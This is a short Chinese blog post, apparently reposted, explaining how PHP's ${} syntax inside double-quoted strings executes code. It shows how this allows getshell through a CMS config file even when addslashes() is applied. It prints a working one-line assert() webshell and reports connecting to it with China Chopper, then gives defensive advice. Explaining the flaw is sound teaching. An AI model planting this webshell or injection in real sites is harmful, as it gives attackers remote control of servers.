前言
在 PHP 语言中, 单引号和双引号都可以表示一个字符串, 但是对于双引号来说, 可能会对引号内的内容进行二次解释, 这就可能会出现安全问题.
正文
举个简单例子
- <?PHP
- $a = 1;
- $b = 2;
- echo '$a$b';// 输出结果为 $a$b
- echo "$a$b";// 输出结果为 12
- ?>
可以看到这两个输出的结果并不相同.
在双引号中倘若有 ${}出现, 那么 {} 内的内容将被当做代码块来执行.
可以看到成功执行了 phpinfo()
试想一下, 倘若在一个 cms 的后台, 可以修改数据库的配置文件, 且配置文件中的值用双引号包括, 我们虽然也可以直接闭合代码达到 getshell 的后果, 但是如果 cms 对传递的参数进行了 addlashes()处理的话, 我们就无法去闭合代码了, 但这时我们可以传入 ${命令}就可以达到 getshell 的目的.
现在, 让我们来修改一下代码, 让我们不只能输出 phpinfo
<?PHP echo "${@assert($_POST[a])}";?> //@是用来防止输出错误信息的
菜刀成功连接
总结
本文简单记录了双引号可能会引发的代码执行的情况
对于这种漏洞的防御, 一定要明确单引号与双引号的区别所在, 不要简单认为两者是互相可以替代的, 在平时的代码书写中能只用单引号一定不要用双引号, 毕竟单引号的解释时间也比双引号少得多, 代码运行相对更快.
来源: https://www.cnblogs.com/yunen/p/10600410.html